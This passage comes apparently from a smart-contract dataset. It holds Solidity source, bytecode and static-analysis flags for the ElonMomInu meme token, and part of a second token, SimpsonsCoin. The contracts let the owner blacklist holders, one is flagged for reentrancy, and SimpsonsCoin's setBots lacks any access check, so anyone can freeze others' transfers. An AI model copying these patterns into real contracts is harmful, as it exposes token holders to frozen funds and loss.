event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonMomInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 500000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "ElonMomInu";
string private constant _symbol = "EMI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xFc9ac61e47526073Ec0FA460AFf0f1fF4B7fA0e0);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000 * 10**9;
_maxWalletSize = 10000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb1461033a578063b87f137a1461035a578063c3c8cd801461037a578063c9567bf91461038f578063dd62ed3e146103a457600080fd5b806370a082311461029c578063715018a6146102bc578063751039fc146102d15780638da5cb5b146102e657806395d89b411461030e57600080fd5b8063273123b7116100e7578063273123b71461020b578063313ce5671461022b5780635932ead114610247578063677daa57146102675780636fc3eaec1461028757600080fd5b806306fdde031461012f578063095ea7b31461017457806318160ddd146101a45780631b3f71ae146101c957806323b872dd146101eb57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600a815269456c6f6e4d6f6d496e7560b01b60208201525b60405161016b91906116f3565b60405180910390f35b34801561018057600080fd5b5061019461018f36600461176d565b6103ea565b604051901515815260200161016b565b3480156101b057600080fd5b506706f05b59d3b200005b60405190815260200161016b565b3480156101d557600080fd5b506101e96101e43660046117af565b610401565b005b3480156101f757600080fd5b50610194610206366004611874565b6104a0565b34801561021757600080fd5b506101e96102263660046118b5565b610509565b34801561023757600080fd5b506040516009815260200161016b565b34801561025357600080fd5b506101e96102623660046118e0565b610554565b34801561027357600080fd5b506101e96102823660046118fd565b61059c565b34801561029357600080fd5b506101e96105f6565b3480156102a857600080fd5b506101bb6102b73660046118b5565b610623565b3480156102c857600080fd5b506101e9610645565b3480156102dd57600080fd5b506101e96106b9565b3480156102f257600080fd5b506000546040516001600160a01b03909116815260200161016b565b34801561031a57600080fd5b50604080518082019091526003815262454d4960e81b602082015261015e565b34801561034657600080fd5b5061019461035536600461176d565b6106f6565b34801561036657600080fd5b506101e96103753660046118fd565b610703565b34801561038657600080fd5b506101e9610757565b34801561039b57600080fd5b506101e961078d565b3480156103b057600080fd5b506101bb6103bf366004611916565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f7338484610b08565b5060015b92915050565b6000546001600160a01b031633146104345760405162461bcd60e51b815260040161042b9061194f565b60405180910390fd5b60005b815181101561049c5760016006600084848151811061045857610458611984565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610494816119b0565b915050610437565b5050565b60006104ad848484610c2c565b6104ff84336104fa85604051806060016040528060288152602001611b13602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061101f565b610b08565b5060019392505050565b6000546001600160a01b031633146105335760405162461bcd60e51b815260040161042b9061194f565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057e5760405162461bcd60e51b815260040161042b9061194f565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105c65760405162461bcd60e51b815260040161042b9061194f565b600081116105d357600080fd5b6105f060646105ea6706f05b59d3b2000084611059565b906110e2565b600f5550565b600c546001600160a01b0316336001600160a01b03161461061657600080fd5b4761062081611124565b50565b6001600160a01b0381166000908152600260205260408120546103fb9061115e565b6000546001600160a01b0316331461066f5760405162461bcd60e51b815260040161042b9061194f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e35760405162461bcd60e51b815260040161042b9061194f565b6706f05b59d3b20000600f819055601055565b60006103f7338484610c2c565b6000546001600160a01b0316331461072d5760405162461bcd60e51b815260040161042b9061194f565b6000811161073a57600080fd5b61075160646105ea6706f05b59d3b2000084611059565b60105550565b600c546001600160a01b0316336001600160a01b03161461077757600080fd5b600061078230610623565b9050610620816111db565b6000546001600160a01b031633146107b75760405162461bcd60e51b815260040161042b9061194f565b600e54600160a01b900460ff16156108115760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042b565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561084d30826706f05b59d3b20000610b08565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561088b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108af91906119c9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092091906119c9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561096d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099191906119c9565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109c181610623565b6000806109d66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a6391906119e6565b5050600e8054662386f26fc10000600f81905560105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049c9190611a14565b6001600160a01b038316610b6a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042b565b6001600160a01b038216610bcb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042b565b6001600160a01b038216610cf25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042b565b60008111610d545760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042b565b6000600a818155600b55546001600160a01b03848116911614801590610d8857506000546001600160a01b03838116911614155b1561100f576001600160a01b03831660009081526006602052604090205460ff16158015610dcf57506001600160a01b03821660009081526006602052604090205460ff16155b610dd857600080fd5b600e546001600160a01b038481169116148015610e035750600d546001600160a01b03838116911614155b8015610e2857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e3d5750600e54600160b81b900460ff165b15610f4257600f54811115610e945760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161042b565b60105481610ea184610623565b610eab9190611a31565b1115610ef95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161042b565b6001600160a01b0382166000908152600760205260409020544211610f1d57600080fd5b610f2842601e611a31565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610f6d5750600d546001600160a01b03848116911614155b8015610f9257506001600160a01b03831660009081526005602052604090205460ff16155b15610fa2576000600a908155600b555b6000610fad30610623565b600e54909150600160a81b900460ff16158015610fd85750600e546001600160a01b03858116911614155b8015610fed5750600e54600160b01b900460ff165b1561100d57610ffb816111db565b47801561100b5761100b47611124565b505b505b61101a838383611355565b505050565b600081848411156110435760405162461bcd60e51b815260040161042b91906116f3565b5060006110508486611a49565b95945050505050565b60008260000361106b575060006103fb565b60006110778385611a60565b9050826110848583611a7f565b146110db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042b565b9392505050565b60006110db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611360565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561049c573d6000803e3d6000fd5b60006008548211156111c55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161042b565b60006111cf61138e565b90506110db83826110e2565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061122357611223611984565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561127c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a091906119c9565b816001815181106112b3576112b3611984565b6001600160a01b039283166020918202929092010152600d546112d99130911684610b08565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611312908590600090869030904290600401611aa1565b600060405180830381600087803b15801561132c57600080fd5b505af1158015611340573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61101a8383836113b1565b600081836113815760405162461bcd60e51b815260040161042b91906116f3565b5060006110508486611a7f565b600080600061139b6114a8565b90925090506113aa82826110e2565b9250505090565b6000806000806000806113c3876114e8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113f59087611545565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114249086611587565b6001600160a01b038916600090815260026020526040902055611446816115e6565b6114508483611630565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161149591815260200190565b60405180910390a3505050505050505050565b60085460009081906706f05b59d3b200006114c382826110e2565b8210156114df575050600854926706f05b59d3b2000092509050565b90939092509050565b60008060008060008060008060006115058a600a54600b54611654565b925092509250600061151561138e565b905060008060006115288e8787876116a3565b919e509c509a509598509396509194505050505091939550919395565b60006110db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061101f565b6000806115948385611a31565b9050838110156110db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042b565b60006115f061138e565b905060006115fe8383611059565b3060009081526002602052604090205490915061161b9082611587565b30600090815260026020526040902055505050565b60085461163d9083611545565b60085560095461164d9082611587565b6009555050565b600080808061166860646105ea8989611059565b9050600061167b60646105ea8a89611059565b905060006116938261168d8b86611545565b90611545565b9992985090965090945050505050565b60008080806116b28886611059565b905060006116c08887611059565b905060006116ce8888611059565b905060006116e08261168d8686611545565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561172057858101830151858201604001528201611704565b81811115611732576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461062057600080fd5b803561176881611748565b919050565b6000806040838503121561178057600080fd5b823561178b81611748565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117c257600080fd5b823567ffffffffffffffff808211156117da57600080fd5b818501915085601f8301126117ee57600080fd5b81358181111561180057611800611799565b8060051b604051601f19603f8301168101818110858211171561182557611825611799565b60405291825284820192508381018501918883111561184357600080fd5b938501935b82851015611868576118598561175d565b84529385019392850192611848565b98975050505050505050565b60008060006060848603121561188957600080fd5b833561189481611748565b925060208401356118a481611748565b929592945050506040919091013590565b6000602082840312156118c757600080fd5b81356110db81611748565b801515811461062057600080fd5b6000602082840312156118f257600080fd5b81356110db816118d2565b60006020828403121561190f57600080fd5b5035919050565b6000806040838503121561192957600080fd5b823561193481611748565b9150602083013561194481611748565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016119c2576119c261199a565b5060010190565b6000602082840312156119db57600080fd5b81516110db81611748565b6000806000606084860312156119fb57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a2657600080fd5b81516110db816118d2565b60008219821115611a4457611a4461199a565b500190565b600082821015611a5b57611a5b61199a565b500390565b6000816000190483118215151615611a7a57611a7a61199a565b500290565b600082611a9c57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611af15784516001600160a01b031683529383019391830191600101611acc565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf2ecafdadc2ee54d94ae14cd8ac5507fb86646ee87e0da41471491a3cc3442e64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,246 |
0x7A9435F50737f15955B9C025f9b4E8B420b3857b
|
/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
// SPDX-License-Identifier: UNLICENSED
/**
https://t.me/SimpsonsCoinEntry
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SimpsonsCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Simpsons Coin";
string private constant _symbol = "SIMPSONS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_maxTxAmount = _tTotal.div(100);
emit Transfer(address(_msgSender()), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
_feeAddr1 = 7;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
cooldown[to] = block.timestamp + (30 minutes);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 7;
_feeAddr2 = 5;
}
require(cooldown[from] < block.timestamp);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 500000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function increaseMaxTx(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function openTrading() external onlyOwner {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiq() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = true;
}
}
}
